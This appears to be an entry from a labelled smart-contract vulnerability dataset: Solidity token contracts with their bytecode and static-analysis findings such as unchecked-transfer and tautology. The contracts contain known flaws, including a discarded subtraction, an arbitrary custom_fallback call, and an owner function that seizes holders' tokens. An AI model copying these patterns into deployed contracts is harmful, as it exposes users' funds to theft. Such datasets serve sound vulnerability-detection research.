onlyOwnerOrAnyAdmin { require(_beneficiaries.length < 101); for (uint256 i = 0; i < _beneficiaries.length; i++) { whitelist[_beneficiaries[i]] = true; } } /** * @dev Removes single address from whitelist. * @param _beneficiary Address to be removed to the whitelist */ function removeFromWhitelist(address _beneficiary) external onlyOwnerOrAnyAdmin { whitelist[_beneficiary] = false; } modifier onlyOwnerOrAnyAdmin() { require(msg.sender == owner || contractAdmins[msg.sender]); _; } /** * Peterson's Law Protection * Claim tokens */ function claimTokens(address _token) public onlyOwner { if (_token == 0x0) { owner.transfer(address(this).balance); return; } uint256 balance = tokenContract.balanceOf(this); tokenContract.transfer(owner, balance); emit Transfer(_token, owner, balance); } modifier onlyFundNonKYCReserv() { require(msg.sender == addressFundNonKYCReserv); _; } function batchTransferPaidTokens(address[] _recipients, uint256[] _values) external onlyFundNonKYCReserv returns (bool) { require( _recipients.length > 0 && _recipients.length == _values.length); uint256 total = 0; for(uint i = 0; i < _values.length; i++){ total = total.add(_values[i]); } require(total <= tokenContract.balanceOf(msg.sender)); for(uint j = 0; j < _recipients.length; j++){ require(0 <= _values[j]); require(_values[j] <= paidTokens[_recipients[j]]); paidTokens[_recipients[j]].sub(_values[j]); tokenContract.transferFrom(addressFundNonKYCReserv, _recipients[j], _values[j]); emit Transfer(msg.sender, _recipients[j], _values[j]); } return true; } function balanceOf(address _owner) public view returns (uint256) { require(_owner != address(0)); return tokenContract.balanceOf(_owner); } function balanceOfNonKYC(address _owner) public view returns (uint256) { require(_owner != address(0)); return paidTokens[_owner]; } }
0x60806040526004361061013d5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166339a257c681146101495780633f50331d1461017c5780634042b66f146101bc5780634b2c0706146101d1578063521eb273146101e957806355a373d61461021a57806370a082311461022f57806378f7aeee146102505780638270c41e146102655780638976b03e1461027f5780638ab1d681146102a05780638c10671c146102c15780638da5cb5b146102e15780639b19251a146102f6578063c2b9829514610317578063cb13cddb14610338578063d1e2eb5e14610359578063df8de3e71461036e578063e43252d71461038f578063ec8ac4d8146103b0578063f4acc2ed146103c4578063f80f12f8146103ea578063fb86a4041461040b578063fc38ce1914610420575b61014633610438565b50005b34801561015557600080fd5b5061016a600160a060020a0360043516610730565b60408051918252519081900360200190f35b34801561018857600080fd5b506101a86024600480358281019290820135918135918201910135610742565b604080519115158252519081900360200190f35b3480156101c857600080fd5b5061016a610acb565b3480156101dd57600080fd5b5061016a600435610ad1565b3480156101f557600080fd5b506101fe610bba565b60408051600160a060020a039092168252519081900360200190f35b34801561022657600080fd5b506101fe610bc9565b34801561023b57600080fd5b5061016a600160a060020a0360043516610bd8565b34801561025c57600080fd5b5061016a610c73565b34801561027157600080fd5b5061027d600435610c79565b005b34801561028b57600080fd5b5061027d600160a060020a0360043516610ca2565b3480156102ac57600080fd5b5061027d600160a060020a0360043516610ce6565b3480156102cd57600080fd5b5061027d6004803560248101910135610d3a565b3480156102ed57600080fd5b506101fe610dd7565b34801561030257600080fd5b506101a8600160a060020a0360043516610de6565b34801561032357600080fd5b5061016a600160a060020a0360043516610dfb565b34801561034457600080fd5b5061016a600160a060020a0360043516610e2e565b34801561036557600080fd5b5061016a610e40565b34801561037a57600080fd5b5061027d600160a060020a0360043516610e46565b34801561039b57600080fd5b5061027d600160a060020a0360043516611017565b61016a600160a060020a0360043516610438565b3480156103d057600080fd5b5061027d600160a060020a0360043516602435151561106e565b3480156103f657600080fd5b506101a8600160a060020a03600435166110c5565b34801561041757600080fd5b5061016a6110da565b34801561042c57600080fd5b5061016a6004356110e0565b60008080600160a060020a038416151561045157600080fd5b34915061045d826110e0565b905080151561046b57600080fd5b60025461047e908363ffffffff6111aa16565b600255600354610494908263ffffffff6111aa16565b600355600160a060020a03841660009081526007602052604090205460ff161561055257600554600080546040805160e060020a630d4d1513028152600160a060020a03898116600483015260248201879052928316604482015290519190931692630d4d15139260648083019360209390929083900390910190829087803b15801561052057600080fd5b505af1158015610534573d6000803e3d6000fd5b505050506040513d602081101561054a57600080fd5b506106619050565b600554600b54600080546040805160e060020a630d4d1513028152600160a060020a039485166004820152602481018790529184166044830152519290931692630d4d15139260648083019360209383900390910190829087803b1580156105b957600080fd5b505af11580156105cd573d6000803e3d6000fd5b505050506040513d60208110156105e357600080fd5b5050600160a060020a03841660009081526009602052604090205461060e908263ffffffff6111aa16565b600160a060020a038516600081815260096020908152604091829020939093558051848152905191927f76426275303ff0a89a10f432c85f13b350662d3218b47a0b8052ab36a4beba3b92918290030190a25b60408051838152602081018390528151600160a060020a038716927fcd60aa75dea3072fbc07ae6d7d856b5dc5f4eee88854f5b4abf7b680ef8bc50f928290030190a2600160a060020a03841660009081526006602052604090205415156106db576010546106d790600163ffffffff6111aa16565b6010555b6106e4846111c0565b6106ed81611205565b50600154604051600160a060020a039091169083156108fc029084906000818181858888f19350505050158015610728573d6000803e3d6000fd5b509392505050565b60096020526000908152604090205481565b600b54600090819081908190600160a060020a0316331461076257600080fd5b60008711801561077157508685145b151561077c57600080fd5b60009250600091505b848210156107bf576107b286868481811061079c57fe5b90506020020135846111aa90919063ffffffff16565b9250600190910190610785565b6005546040805160e060020a6370a082310281523360048201529051600160a060020a03909216916370a08231916024808201926020929091908290030181600087803b15801561080f57600080fd5b505af1158015610823573d6000803e3d6000fd5b505050506040513d602081101561083957600080fd5b505183111561084757600080fd5b5060005b86811015610abd5785858281811061085f57fe5b9050602002013560001115151561087557600080fd5b6009600089898481811061088557fe5b90506020020135600160a060020a0316600160a060020a0316600160a060020a031681526020019081526020016000205486868381811015156108c457fe5b90506020020135111515156108d857600080fd5b61093f8686838181106108e757fe5b90506020020135600960008b8b86818110151561090057fe5b90506020020135600160a060020a0316600160a060020a0316600160a060020a031681526020019081526020016000205461144690919063ffffffff16565b50600554600b54600160a060020a03918216916323b872dd91168a8a8581811061096557fe5b90506020020135600160a060020a0316898986818110151561098357fe5b905060200201356040518463ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018084600160a060020a0316600160a060020a0316815260200183600160a060020a0316600160a060020a031681526020018281526020019350505050602060405180830381600087803b158015610a0e57600080fd5b505af1158015610a22573d6000803e3d6000fd5b505050506040513d6020811015610a3857600080fd5b508890508782818110610a4757fe5b90506020020135600160a060020a0316600160a060020a031633600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8888858181101515610a9957fe5b905060200201356040518082815260200191505060405180910390a360010161084b565b506001979650505050505050565b60025481565b600081635bb379e011158015610aeb5750635bb3a4108211155b15610af857506000610bb5565b81635bb3a41111158015610b105750635bdc58608211155b15610b1d57506001610bb5565b81635bdc586111158015610b355750635c03e5608211155b15610b4257506002610bb5565b81635c03e56111158015610b5a5750635c2cc3e08211155b15610b6757506003610bb5565b81635c2cc3e111158015610b7f5750635c55a2608211155b15610b8c57506004610bb5565b81635c55a26111158015610ba45750635c7a8c608211155b15610bb157506005610bb5565b50600a5b919050565b600154600160a060020a031681565b600554600160a060020a031681565b6000600160a060020a0382161515610bef57600080fd5b6005546040805160e060020a6370a08231028152600160a060020a038581166004830152915191909216916370a082319160248083019260209291908290030181600087803b158015610c4157600080fd5b505af1158015610c55573d6000803e3d6000fd5b505050506040513d6020811015610c6b57600080fd5b505192915050565b60035481565b600054600160a060020a03163314610c9057600080fd5b60008111610c9d57600080fd5b600f55565b600160a060020a0381161515610cb757600080fd5b6005805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600054600160a060020a0316331480610d0e57503360009081526008602052604090205460ff165b1515610d1957600080fd5b600160a060020a03166000908152600760205260409020805460ff19169055565b60008054600160a060020a0316331480610d6357503360009081526008602052604090205460ff165b1515610d6e57600080fd5b60658210610d7b57600080fd5b5060005b81811015610dd257600160076000858585818110610d9957fe5b60209081029290920135600160a060020a0316835250810191909152604001600020805460ff1916911515919091179055600101610d7f565b505050565b600054600160a060020a031681565b60076020526000908152604090205460ff1681565b6000600160a060020a0382161515610e1257600080fd5b50600160a060020a031660009081526009602052604090205490565b60066020526000908152604090205481565b60105481565b60008054600160a060020a03163314610e5e57600080fd5b600160a060020a0382161515610eaf5760008054604051600160a060020a0390911691303180156108fc02929091818181858888f19350505050158015610ea9573d6000803e3d6000fd5b50611013565b6005546040805160e060020a6370a082310281523060048201529051600160a060020a03909216916370a08231916024808201926020929091908290030181600087803b158015610eff57600080fd5b505af1158015610f13573d6000803e3d6000fd5b505050506040513d6020811015610f2957600080fd5b505160055460008054604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a03928316600482015260248101869052905194955092169263a9059cbb926044808201936020939283900390910190829087803b158015610fa057600080fd5b505af1158015610fb4573d6000803e3d6000fd5b505050506040513d6020811015610fca57600080fd5b5050600054604080518381529051600160a060020a03928316928516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a35b5050565b600054600160a060020a031633148061103f57503360009081526008602052604090205460ff165b151561104a57600080fd5b600160a060020a03166000908152600760205260409020805460ff19166001179055565b600054600160a060020a0316331461108557600080fd5b600160a060020a038216151561109a57600080fd5b600160a060020a03919091166000908152600860205260409020805460ff1916911515919091179055565b60086020526000908152604090205460ff1681565b60045481565b6000806110ec83611458565b9050600a54611106826003546111aa90919063ffffffff16565b111561115257600354604080519182526020820183905280517f77fcbebee5e7fc6abb70669438e18dae65fc2057b32b694851724c2726a35b629281900390910190a1600091506111a4565b600454600254611168908563ffffffff6111aa16565b11156111a0576040517f9788c3426de973293d591b3f0e14ad70f5569c28608c87c18153eabc2a157eed90600090a1600091506111a4565b8091505b50919050565b6000828201838110156111b957fe5b9392505050565b600160a060020a0381166000908152600660205260409020546111e9903463ffffffff6111aa16565b600160a060020a03909116600090815260066020526040902055565b60008060143614156111a45761124b6000368080601f016020809104026020016040519081016040528093929190818152602001838380828437506114e3945050505050565b9050600160a060020a03811633141561126357600080fd5b611289606461127d6011548661155790919063ffffffff16565b9063ffffffff61157b16565b915061129c82600263ffffffff61155716565b600554600c546040805160e060020a6370a08231028152600160a060020a039283166004820152905191909216916370a082319160248083019260209291908290030181600087803b1580156112f157600080fd5b505af1158015611305573d6000803e3d6000fd5b505050506040513d602081101561131b57600080fd5b5051106111a457600554600c546040805160e060020a630d4d1513028152600160a060020a03858116600483015260248201879052928316604482015290519190921691630d4d15139160648083019260209291908290030181600087803b15801561138657600080fd5b505af115801561139a573d6000803e3d6000fd5b505050506040513d60208110156113b057600080fd5b5050600554600c546040805160e060020a630d4d151302815233600482015260248101869052600160a060020a03928316604482015290519190921691630d4d15139160648083019260209291908290030181600087803b15801561141457600080fd5b505af1158015611428573d6000803e3d6000fd5b505050506040513d602081101561143e57600080fd5b505050919050565b60008282111561145257fe5b50900390565b600042818061146683610ad1565b9150600090508160001115801561147d5750600782105b801561148b5750600e548510155b156114db576114d86103e861127d600d858154811015156114a857fe5b90600052602060002001546103e8016114cc600f548a61155790919063ffffffff16565b9063ffffffff61155716565b90505b949350505050565b600080600160145b600081111561154e5781856001830381518110151561150657fe5b6020910101517f01000000000000000000000000000000000000000000000000000000000000009081900481020460ff160292909201916101009190910290600019016114eb565b50909392505050565b6000828202831580611573575082848281151561157057fe5b04145b15156111b957fe5b600080828481151561158957fe5b049493505050505600a165627a7a72305820143a68defbf5ee66208370148cbf638d6279e81c085ea571a158d4e050d1edbe0029
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
10,094
0x6686d9b490b1d9aee1ebd0514e796641c301b46f
pragma solidity ^0.4.24; contract ERC256 { uint public totalSupply; function name() public view returns (string _name); function symbol() public view returns (string _symbol); function decimals() public view returns (uint8 _decimals); function totalSupply() public view returns (uint256 _supply); function balanceOf(address who) public view returns (uint); function transfer(address to, uint value) public returns (bool ok); function transfer(address to, uint value, bytes data) public returns (bool ok); function allowance(address _owner, address _spender) public view returns (uint256 remaining); function transfer(address to, uint value, bytes data, string custom_fallback) public returns (bool ok); event Transfer(address indexed from, address indexed to, uint value, bytes indexed data); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint _value); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract ContractReceiver { struct MYJ { address sender; uint value; bytes data; bytes4 sig; } function tokenFallback(address _from, uint _value, bytes _data) public pure { MYJ memory myj; myj.sender = _from; myj.value = _value; myj.data = _data; uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24); myj.sig = bytes4(u); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract MYJ256 is ERC256, Ownable { using SafeMath for uint256; string public name = "GAMERTOKEN"; string public symbol = "GAMER"; uint8 public decimals = 8; uint256 public distributeAmount = 0; uint256 public initialSupply = 10e9 * 1e8; uint256 public totalSupply; bool public mintingFinished = false; mapping(address => uint256) public balanceOf; mapping(address => mapping (address => uint256)) public allowance; mapping (address => bool) public frozenAccount; mapping (address => uint256) public unlockUnixTime; event FrozenFunds(address indexed target, bool frozen); event LockedFunds(address indexed target, uint256 locked); event Burn(address indexed burner, uint256 amount); event Mint(address indexed to, uint256 amount); event MintFinished(); function MYJ256() public { totalSupply = initialSupply; balanceOf[msg.sender] = totalSupply; } function name() public view returns (string _name) { return name; } function symbol() public view returns (string _symbol) { return symbol; } function decimals() public view returns (uint8 _decimals) { return decimals; } function totalSupply() public view returns (uint256 _totalSupply) { return totalSupply; } function balanceOf(address _owner) public view returns (uint256 balance) { return balanceOf[_owner]; } function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public { require(targets.length > 0); for (uint j = 0; j < targets.length; j++) { require(targets[j] != 0x0); frozenAccount[targets[j]] = isFrozen; FrozenFunds(targets[j], isFrozen); } } function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public { require(targets.length > 0 && targets.length == unixTimes.length); for(uint j = 0; j < targets.length; j++){ require(unlockUnixTime[targets[j]] < unixTimes[j]); unlockUnixTime[targets[j]] = unixTimes[j]; LockedFunds(targets[j], unixTimes[j]); } } function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); if (isContract(_to)) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data)); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } else { return transferToAddress(_to, _value, _data); } } function transfer(address _to, uint _value, bytes _data) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); if (isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } function transfer(address _to, uint _value) public returns (bool success) { require(_value > 0 && frozenAccount[msg.sender] == false && frozenAccount[_to] == false && now > unlockUnixTime[msg.sender] && now > unlockUnixTime[_to]); bytes memory empty; if (isContract(_to)) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } function isContract(address _addr) private view returns (bool is_contract) { uint length; assembly { length := extcodesize(_addr) } return (length > 0); } function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); ContractReceiver receiver = ContractReceiver(_to); receiver.tokenFallback(msg.sender, _value, _data); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_to != address(0) && _value > 0 && balanceOf[_from] >= _value && allowance[_from][msg.sender] >= _value && frozenAccount[_from] == false && frozenAccount[_to] == false && now > unlockUnixTime[_from] && now > unlockUnixTime[_to]); balanceOf[_from] = balanceOf[_from].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowance[_owner][_spender]; } function mint(address _to, uint256 _unitAmount) onlyOwner canMint public returns (bool) { require(_unitAmount > 0); totalSupply = totalSupply.add(_unitAmount); balanceOf[_to] = balanceOf[_to].add(_unitAmount); Mint(_to, _unitAmount); Transfer(address(0), _to, _unitAmount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } function burn(address _from, uint256 _unitAmount) onlyOwner public { require(_unitAmount > 0 && balanceOf[_from] >= _unitAmount); balanceOf[_from] = balanceOf[_from].sub(_unitAmount); totalSupply = totalSupply.sub(_unitAmount); Burn(_from, _unitAmount); } modifier canMint() { require(!mintingFinished); _; } function distributeAirdrop(address[] addresses, uint256 amount) public returns (bool) { require(amount > 0 && addresses.length > 0 && frozenAccount[msg.sender] == false && now > unlockUnixTime[msg.sender]); amount = amount.mul(1e8); uint256 totalAmount = amount.mul(addresses.length); require(balanceOf[msg.sender] >= totalAmount); for (uint j = 0; j < addresses.length; j++) { require(addresses[j] != 0x0 && frozenAccount[addresses[j]] == false && now > unlockUnixTime[addresses[j]]); balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amount); Transfer(msg.sender, addresses[j], amount); } balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount); return true; } function distributeAirdrop(address[] addresses, uint[] amounts) public returns (bool) { require(addresses.length > 0 && addresses.length == amounts.length && frozenAccount[msg.sender] == false && now > unlockUnixTime[msg.sender]); uint256 totalAmount = 0; for(uint j = 0; j < addresses.length; j++){ require(amounts[j] > 0 && addresses[j] != 0x0 && frozenAccount[addresses[j]] == false && now > unlockUnixTime[addresses[j]]); amounts[j] = amounts[j].mul(1e8); totalAmount = totalAmount.add(amounts[j]); } require(balanceOf[msg.sender] >= totalAmount); for (j = 0; j < addresses.length; j++) { balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amounts[j]); Transfer(msg.sender, addresses[j], amounts[j]); } balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount); return true; } function collectTokens(address[] addresses, uint[] amounts) onlyOwner public returns (bool) { require(addresses.length > 0 && addresses.length == amounts.length); uint256 totalAmount = 0; for (uint j = 0; j < addresses.length; j++) { require(amounts[j] > 0 && addresses[j] != 0x0 && frozenAccount[addresses[j]] == false && now > unlockUnixTime[addresses[j]]); amounts[j] = amounts[j].mul(1e8); require(balanceOf[addresses[j]] >= amounts[j]); balanceOf[addresses[j]] = balanceOf[addresses[j]].sub(amounts[j]); totalAmount = totalAmount.add(amounts[j]); Transfer(addresses[j], msg.sender, amounts[j]); } balanceOf[msg.sender] = balanceOf[msg.sender].add(totalAmount); return true; } function setDistributeAmount(uint256 _unitAmount) onlyOwner public { distributeAmount = _unitAmount; } function autoDistribute() payable public { require(distributeAmount > 0 && balanceOf[owner] >= distributeAmount && frozenAccount[msg.sender] == false && now > unlockUnixTime[msg.sender]); if(msg.value > 0) owner.transfer(msg.value); balanceOf[owner] = balanceOf[owner].sub(distributeAmount); balanceOf[msg.sender] = balanceOf[msg.sender].add(distributeAmount); Transfer(owner, msg.sender, distributeAmount); } function() payable public { autoDistribute(); } }
0x6080604052600436106101505763ffffffff60e060020a60003504166305d2035b811461015a57806306fdde0314610183578063095ea7b31461020d57806318160ddd1461023157806323b872dd14610258578063313ce56714610282578063378dc3dc146102ad57806340c10f19146102c25780634f25eced146102e657806364ddc605146102fb57806370a08231146103895780637d64bcb4146103aa5780638da5cb5b146103bf57806394594625146103f057806395d89b41146104475780639dc29fac1461045c578063a8f11eb914610150578063a9059cbb14610480578063b414d4b6146104a4578063be45fd62146104c5578063c341b9f61461052e578063cbbe974b14610587578063d39b1d48146105a8578063dd62ed3e146105c0578063dd924594146105e7578063f0dc417114610675578063f2fde38b14610703578063f6368f8a14610724575b6101586107cb565b005b34801561016657600080fd5b5061016f61092f565b604080519115158252519081900360200190f35b34801561018f57600080fd5b50610198610938565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101d25781810151838201526020016101ba565b50505050905090810190601f1680156101ff5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561021957600080fd5b5061016f600160a060020a03600435166024356109cb565b34801561023d57600080fd5b50610246610a31565b60408051918252519081900360200190f35b34801561026457600080fd5b5061016f600160a060020a0360043581169060243516604435610a37565b34801561028e57600080fd5b50610297610c3b565b6040805160ff9092168252519081900360200190f35b3480156102b957600080fd5b50610246610c44565b3480156102ce57600080fd5b5061016f600160a060020a0360043516602435610c4a565b3480156102f257600080fd5b50610246610d4a565b34801561030757600080fd5b506040805160206004803580820135838102808601850190965280855261015895369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a998901989297509082019550935083925085019084908082843750949750610d509650505050505050565b34801561039557600080fd5b50610246600160a060020a0360043516610eb4565b3480156103b657600080fd5b5061016f610ecf565b3480156103cb57600080fd5b506103d4610f35565b60408051600160a060020a039092168252519081900360200190f35b3480156103fc57600080fd5b506040805160206004803580820135838102808601850190965280855261016f953695939460249493850192918291850190849080828437509497505093359450610f449350505050565b34801561045357600080fd5b506101986111b5565b34801561046857600080fd5b50610158600160a060020a0360043516602435611216565b34801561048c57600080fd5b5061016f600160a060020a03600435166024356112fb565b3480156104b057600080fd5b5061016f600160a060020a03600435166113be565b3480156104d157600080fd5b50604080516020600460443581810135601f810184900484028501840190955284845261016f948235600160a060020a03169460248035953695946064949201919081908401838280828437509497506113d39650505050505050565b34801561053a57600080fd5b50604080516020600480358082013583810280860185019096528085526101589536959394602494938501929182918501908490808284375094975050505091351515925061148c915050565b34801561059357600080fd5b50610246600160a060020a0360043516611596565b3480156105b457600080fd5b506101586004356115a8565b3480156105cc57600080fd5b50610246600160a060020a03600435811690602435166115c4565b3480156105f357600080fd5b506040805160206004803580820135838102808601850190965280855261016f95369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a9989019892975090820195509350839250850190849080828437509497506115ef9650505050505050565b34801561068157600080fd5b506040805160206004803580820135838102808601850190965280855261016f95369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a9989019892975090820195509350839250850190849080828437509497506118a29650505050505050565b34801561070f57600080fd5b50610158600160a060020a0360043516611b82565b34801561073057600080fd5b50604080516020600460443581810135601f810184900484028501840190955284845261016f948235600160a060020a031694602480359536959460649492019190819084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a999881019791965091820194509250829150840183828082843750949750611c179650505050505050565b60006005541180156107f95750600554600154600160a060020a031660009081526009602052604090205410155b80156108155750336000908152600b602052604090205460ff16155b801561082f5750336000908152600c602052604090205442115b151561083a57600080fd5b600034111561087e57600154604051600160a060020a03909116903480156108fc02916000818181858888f1935050505015801561087c573d6000803e3d6000fd5b505b600554600154600160a060020a03166000908152600960205260409020546108ab9163ffffffff611f3516565b600154600160a060020a031660009081526009602052604080822092909255600554338252919020546108e39163ffffffff611f4716565b3360008181526009602090815260409182902093909355600154600554825190815291519293600160a060020a03909116926000805160206123298339815191529281900390910190a3565b60085460ff1681565b60028054604080516020601f60001961010060018716150201909416859004938401819004810282018101909252828152606093909290918301828280156109c15780601f10610996576101008083540402835291602001916109c1565b820191906000526020600020905b8154815290600101906020018083116109a457829003601f168201915b5050505050905090565b336000818152600a60209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60075490565b6000600160a060020a03831615801590610a515750600082115b8015610a755750600160a060020a0384166000908152600960205260409020548211155b8015610aa45750600160a060020a0384166000908152600a602090815260408083203384529091529020548211155b8015610ac95750600160a060020a0384166000908152600b602052604090205460ff16155b8015610aee5750600160a060020a0383166000908152600b602052604090205460ff16155b8015610b115750600160a060020a0384166000908152600c602052604090205442115b8015610b345750600160a060020a0383166000908152600c602052604090205442115b1515610b3f57600080fd5b600160a060020a038416600090815260096020526040902054610b68908363ffffffff611f3516565b600160a060020a038086166000908152600960205260408082209390935590851681522054610b9d908363ffffffff611f4716565b600160a060020a038085166000908152600960209081526040808320949094559187168152600a82528281203382529091522054610be1908363ffffffff611f3516565b600160a060020a038086166000818152600a602090815260408083203384528252918290209490945580518681529051928716939192600080516020612329833981519152929181900390910190a35060015b9392505050565b60045460ff1690565b60065481565b600154600090600160a060020a03163314610c6457600080fd5b60085460ff1615610c7457600080fd5b60008211610c8157600080fd5b600754610c94908363ffffffff611f4716565b600755600160a060020a038316600090815260096020526040902054610cc0908363ffffffff611f4716565b600160a060020a038416600081815260096020908152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a038516916000916000805160206123298339815191529181900360200190a350600192915050565b60055481565b600154600090600160a060020a03163314610d6a57600080fd5b60008351118015610d7c575081518351145b1515610d8757600080fd5b5060005b8251811015610eaf578181815181101515610da257fe5b90602001906020020151600c60008584815181101515610dbe57fe5b6020908102909101810151600160a060020a031682528101919091526040016000205410610deb57600080fd5b8181815181101515610df957fe5b90602001906020020151600c60008584815181101515610e1557fe5b6020908102909101810151600160a060020a03168252810191909152604001600020558251839082908110610e4657fe5b90602001906020020151600160a060020a03167f1bd6fb9fa2c39ce5d0d2afa1eaba998963eb5f553fd862c94f131aa9e35c15778383815181101515610e8857fe5b906020019060200201516040518082815260200191505060405180910390a2600101610d8b565b505050565b600160a060020a031660009081526009602052604090205490565b600154600090600160a060020a03163314610ee957600080fd5b60085460ff1615610ef957600080fd5b6008805460ff191660011790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b600154600160a060020a031681565b60008060008084118015610f59575060008551115b8015610f755750336000908152600b602052604090205460ff16155b8015610f8f5750336000908152600c602052604090205442115b1515610f9a57600080fd5b610fae846305f5e10063ffffffff611f5616565b9350610fc4855185611f5690919063ffffffff16565b33600090815260096020526040902054909250821115610fe357600080fd5b5060005b845181101561117a578481815181101515610ffe57fe5b90602001906020020151600160a060020a03166000141580156110565750600b6000868381518110151561102e57fe5b6020908102909101810151600160a060020a031682528101919091526040016000205460ff16155b801561109d5750600c6000868381518110151561106f57fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b15156110a857600080fd5b6110ed846009600088858151811015156110be57fe5b6020908102909101810151600160a060020a03168252810191909152604001600020549063ffffffff611f4716565b6009600087848151811015156110ff57fe5b6020908102909101810151600160a060020a0316825281019190915260400160002055845185908290811061113057fe5b90602001906020020151600160a060020a031633600160a060020a0316600080516020612329833981519152866040518082815260200191505060405180910390a3600101610fe7565b3360009081526009602052604090205461119a908363ffffffff611f3516565b33600090815260096020526040902055506001949350505050565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156109c15780601f10610996576101008083540402835291602001916109c1565b600154600160a060020a0316331461122d57600080fd5b6000811180156112555750600160a060020a0382166000908152600960205260409020548111155b151561126057600080fd5b600160a060020a038216600090815260096020526040902054611289908263ffffffff611f3516565b600160a060020a0383166000908152600960205260409020556007546112b5908263ffffffff611f3516565b600755604080518281529051600160a060020a038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a25050565b6000606060008311801561131f5750336000908152600b602052604090205460ff16155b80156113445750600160a060020a0384166000908152600b602052604090205460ff16155b801561135e5750336000908152600c602052604090205442115b80156113815750600160a060020a0384166000908152600c602052604090205442115b151561138c57600080fd5b61139584611f81565b156113ac576113a5848483611f89565b91506113b7565b6113a58484836121cd565b5092915050565b600b6020526000908152604090205460ff1681565b600080831180156113f45750336000908152600b602052604090205460ff16155b80156114195750600160a060020a0384166000908152600b602052604090205460ff16155b80156114335750336000908152600c602052604090205442115b80156114565750600160a060020a0384166000908152600c602052604090205442115b151561146157600080fd5b61146a84611f81565b156114815761147a848484611f89565b9050610c34565b61147a8484846121cd565b600154600090600160a060020a031633146114a657600080fd5b82516000106114b457600080fd5b5060005b8251811015610eaf5782818151811015156114cf57fe5b60209081029091010151600160a060020a031615156114ed57600080fd5b81600b6000858481518110151561150057fe5b602090810291909101810151600160a060020a03168252810191909152604001600020805460ff1916911515919091179055825183908290811061154057fe5b90602001906020020151600160a060020a03167f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03